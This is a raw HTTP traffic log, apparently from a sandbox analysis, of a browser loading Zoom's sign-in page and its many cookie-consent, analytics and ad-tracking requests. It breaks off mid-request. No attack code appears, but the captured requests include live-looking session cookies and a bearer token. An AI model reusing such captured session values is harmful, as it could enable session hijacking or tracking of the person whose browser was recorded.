Source: global traffic	HTTP traffic detected: GET /cookieconsentpub/v1/geo/location HTTP/1.1Host: geolocation.onetrust.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-detect.png HTTP/1.1Host: st2.zoom.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA; _zm_lang=en-US; optimizelySession=1741993364965; _zm_cdn_blocked=unlog_unblk; _zm_fingerprint=d5140acb3fb35cc80ba236bdb3bf654d
Source: global traffic	HTTP traffic detected: GET /consent/b0bfa2ae-4058-4aef-8632-a5281ce4464a/018e6326-944c-770b-9e87-74eaf48b0e06/en.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://zoom.usSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zoom.ico HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA; _zm_lang=en-US; optimizelySession=1741993364965; _zm_cdn_blocked=unlog_unblk; _zm_fingerprint=d5140acb3fb35cc80ba236bdb3bf654d
Source: global traffic	HTTP traffic detected: GET /scripttemplates/6.21.0/assets/otFloatingFlat.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://zoom.usSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripttemplates/6.21.0/assets/v2/otPcCenter.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://zoom.usSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripttemplates/6.21.0/assets/otCommonStyles.css HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://zoom.usSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /li.lms-analytics/insight.min.js HTTP/1.1Host: snap.licdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attribution_tracking/conversions/591.js?p=https://zoom.us/signin HTTP/1.1Host: tracking.g2crowd.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /yctzT6hf.min.js HTTP/1.1Host: tag.demandbase.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sl.js HTTP/1.1Host: scout-cdn.salesloft.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zi-tag.js HTTP/1.1Host: js.zi-scripts.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/listing/tool/cv/ytag.js HTTP/1.1Host: s.yimg.jpConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /consent/b0bfa2ae-4058-4aef-8632-a5281ce4464a/018e6326-944c-770b-9e87-74eaf48b0e06/en.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /zoom.ico HTTP/1.1Host: st1.zoom.usConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA; _zm_lang=en-US; _zm_cdn_blocked=unlog_unblk; _zm_fingerprint=d5140acb3fb35cc80ba236bdb3bf654d; _gcl_au=1.1.535026956.1741993368; optimizelySession=1741993368502; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Mar+14+2025+19%3A02%3A48+GMT-0400+(Eastern+Daylight+Time)&version=6.21.0&isIABGlobal=false&hosts=&consentId=c27e3fdb-4697-492f-8669-586bc41c9863&interactionCount=0&landingPath=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin
Source: global traffic	HTTP traffic detected: GET /A3842641-530d-4e68-b336-72a5897f62121.js HTTP/1.1Host: utt.impactcdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r?tid=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0IjoxMDgzOX0.LSz4FYiDsjCaYCCySTzXCsafgDXfEr0gEbeGaMn7qtc HTTP/1.1Host: scout.salesloft.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://zoom.usSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripttemplates/6.21.0/assets/otFloatingFlat.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripttemplates/6.21.0/assets/otCommonStyles.css HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripttemplates/6.21.0/assets/v2/otPcCenter.json HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libs/analytics-browser-gtm-wrapper-3.9.0.js.br HTTP/1.1Host: cdn.amplitude.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=1576;g=site-wide;gid=9041;ord=2034239667?gtmcb=1453764129 HTTP/1.1Host: trkn.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=20445;g=sitewide;gid=47912;ord=1308006852 HTTP/1.1Host: trkn.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/conv/ppt=1576;g=site-wide;gid=9041;ord=1837308645 HTTP/1.1Host: trkn.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attribution_trigger?pid=1476716&time=1741993369691&url=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin HTTP/1.1Host: px.ads.linkedin.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: *sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://zoom.usAttribution-Reporting-Eligible: trigger;event-source;navigation-sourceAttribution-Reporting-Support: web, not-osSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tv2track.js HTTP/1.1Host: collector-29673.us.tvsquared.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i HTTP/1.1Host: scout.salesloft.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://zoom.usSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /unified/v1/master/getSubscriptions HTTP/1.1Host: js.zi-scripts.comConnection: keep-alivesec-ch-ua-platform: "Windows"Authorization: Bearer 57802b39b51669734096User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/jsonsec-ch-ua-mobile: ?0visited_url: https://zoom.us/signin#/loginAccept: /Origin: https://zoom.usSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/js/app/market_onetrust_cookie.min.js HTTP/1.1Host: st3.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM; wULrMv6t=AzRD5ZaVAQAAXQGduE3VSEsoST3VcxMa8OG2THvJesS1M65XIzbS_dBnN0mQAQgue72uckX5wH8AAEB3AAAAAA\|1\|0\|9420f7af00989b7f57feb71875f2e224733e93af; _zm_page_auth=aw1_c_hAj0pbG2Q7uPDIYfLOq8UA; _zm_lang=en-US; _zm_cdn_blocked=unlog_unblk; _zm_fingerprint=d5140acb3fb35cc80ba236bdb3bf654d; _gcl_au=1.1.535026956.1741993368; optimizelySession=1741993368502; OnetrustActiveGroups=C0004C0003C0002C0001; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Mar+14+2025+19%3A02%3A49+GMT-0400+(Eastern+Daylight+Time)&version=6.21.0&isIABGlobal=false&hosts=&consentId=c27e3fdb-4697-492f-8669-586bc41c9863&interactionCount=0&landingPath=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin&groups=C0004%3A1%2CC0003%3A1%2CC0002%3A1%2CC0001%3A1
Source: global traffic	HTTP traffic detected: GET /s/sync?exc=lr HTTP/1.1Host: s.company-target.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /464526.gif HTTP/1.1Host: id.rlcdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /collect?v=2&fmt=js&pid=1476716&time=1741993369691&li_adsId=672e0618-ccf5-49dc-80ca-39d838ec8411&url=https%3A%2F%2Fzoom.us%2Fsignin%23%2Flogin HTTP/1.1Host: px.ads.linkedin.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /signals/config/4633436110010443?v=2.9.187&r=stable&domain=zoom.us&hme=9d6c2cc137748d003f279fac8d52b2defc993e1177ef802e0d5b230c72882031&ex_m=71%2C123%2C108%2C112%2C62%2C4%2C101%2C70%2C16%2C98%2C90%2C51%2C55%2C177%2C180%2C192%2C188%2C189%2C191%2C29%2C102%2C53%2C78%2C190%2C172%2C175%2C185%2C186%2C193%2C134%2C41%2C198%2C195%2C196%2C34%2C147%2C15%2C50%2C202%2C201%2C136%2C18%2C40%2C1%2C43%2C66%2C67%2C68%2C72%2C94%2C17%2C14%2C97%2C93%2C92%2C109%2C52%2C111%2C39%2C110%2C30%2C95%2C26%2C173%2C176%2C144%2C87%2C57%2C85%2C33%2C74%2C0%2C96%2C32%2C28%2C83%2C84%2C89%2C47%2C46%2C88%2C37%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C58%2C63%2C65%2C76%2C54%2C103%2C27%2C77%2C9%2C8%2C81%2C48%2C21%2C105%2C104%2C106%2C99%2C10%2C20%2C3%2C38%2C75%2C19%2C5%2C91%2C82%2C44%2C35%2C86%2C2%2C36%2C64%2C42%2C107%2C45%2C80%2C69%2C113%2C61%2C60%2C31%2C100%2C59%2C56%2